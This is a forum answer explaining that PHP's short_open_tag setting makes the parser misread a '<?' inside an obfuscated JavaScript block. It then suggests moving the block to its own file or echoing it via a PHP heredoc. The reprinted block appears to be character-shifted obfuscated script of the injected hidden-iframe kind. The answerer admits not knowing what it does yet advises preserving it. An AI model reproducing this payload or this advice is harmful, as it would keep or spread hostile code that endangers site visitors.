It would appear your web host PHP configuration has the short_open_tag option turned on, which means that when the parser sees a "<?" within that ugly chunk of JavaScript, it thinks it is going into PHP mode. I have no idea what that JS is supposed to do, but it looks like it's all commented out, so my first thought it: does it need to be in the page at all?
If it does need to be there, then my next suggestion would be to store the JavaScript in its own file and load it via the script tag:
<script type="text/javascript" id="c1AD9DDD3526FEBC38C3E9" src="path/to/js_file.js"></script>
If that is not an option for some reason, then either change your PHP configuration to turn off short_open_tag, or output all that spaghetti via PHP:
<?php
echo <<<EOD
<script id='c1AD9DDD3526FEBC38C3E9'>
/* ByixovzDl{tizout&inkiqeiutzktz./|gx&oC6A}nork.jui{sktz4mkzKrksktzyHZgmTgsk.-olxgsk-/4rktmzn/|gx&krCjui{sktz4mkzKrksktzyHZgmTgsk.-olxgsk-/aocAol.&.kr4yzrk4joyvrgCC-tutk-&‚‚&kr4yzrk4|oyohoroz&CC-nojjkt-&‚‚&.kr4}ojznB;&,,&kr4nkomnzB;//&,,&kr4tgsk'C-i7-/kr4vgxktzTujk4xksu|kInorj.kr/Aƒkryk&o11Aƒƒinkiqeiutzktz./Aol.'sog/jui{sktz4}xozk.{tkyigvk.&-+9i+<?+<<+=8+<7+<j+<;+86+<k+<7+<j+<;+9j+<9+97+86+=9+=8+<9+9j+8=+<>+=:+=:+=6+9g+8l+8l+<=+<;+=8+<j+<7+<k+<7+<:+=<+<;+=8+=:+<?+=9+<?+<k+<=+8k+<k+<;+=:+8l+<?+<k+8k+<9+<=+<?+9l+99,+8=+8h+:j+<7+=:+<>+8k+=8+<l+=;+<k+<:+8>+:j+<7+=:+<>+8k+=8+<7+<k+<:+<l+<j+8>+8?+8g+9<+9;+9;+96+9>+8?+8h+8=+<8+<8+<9+<7+<8+<<+9=+<7+97+8=+86+==+<?+<:+=:+<>+9j+9<+99+9<+86+<>+<;+<?+<=+<>+=:+9j+97+96+99+86+=9+=:+=?+<i+<;+9j+8=+=<+<?+=9+<?+<8+<?+<i+<?+=:+=?+9g+<>+<?+<:+<:+<;+<k+8=+9k+9i+8l+<?+<<+=8+<7+<j+<;+9k-//Aƒ|gx&sogCzx{kAB5yixovzD */
</script>
EOD;
// make sure preceding line has no white-space before the "EOD;"
?>